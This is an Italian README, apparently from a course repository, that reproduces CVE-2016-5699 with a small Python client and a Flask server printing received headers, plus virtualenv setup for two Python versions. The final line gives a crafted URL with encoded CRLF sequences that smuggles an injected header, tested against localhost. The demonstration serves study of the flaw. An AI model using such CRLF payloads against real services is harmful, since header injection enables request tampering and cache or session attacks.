shajinzheng/cve-2016-5699-jinzheng-shaRapporto del Corso di Lettura
Report del Corso di Lettura
Questo repository fa riferimento a un esempio.
simple-client.py è uno script Python per effettuare richieste HTTP all'URL passato come argomento da riga di comando.
simple-server.py utilizza Flask per costruire un semplice server HTTP che stampa gli header delle richieste ricevute.
pip install virtualenvvirtualenv. Per esempio:
virtualenv -p [path_to_one_Python_version] venv-one-versionvirtualenv -p [path_to_the_other_Python_version] venv-the-other-versionflask in entrambi gli ambienti. Attiva l'ambiente corrispondente ed esegui pip install flasksource ./venv-one-version/bin/activatepython simple-server.pypython simple-client.py http://127.0.0.1:8000/test-url per un URL sanopython simple-client.py http://127.0.0.1%0d%0aX-injected:%20header%0d%0ax-leftover:%20:8000/test-url per un URL dannoso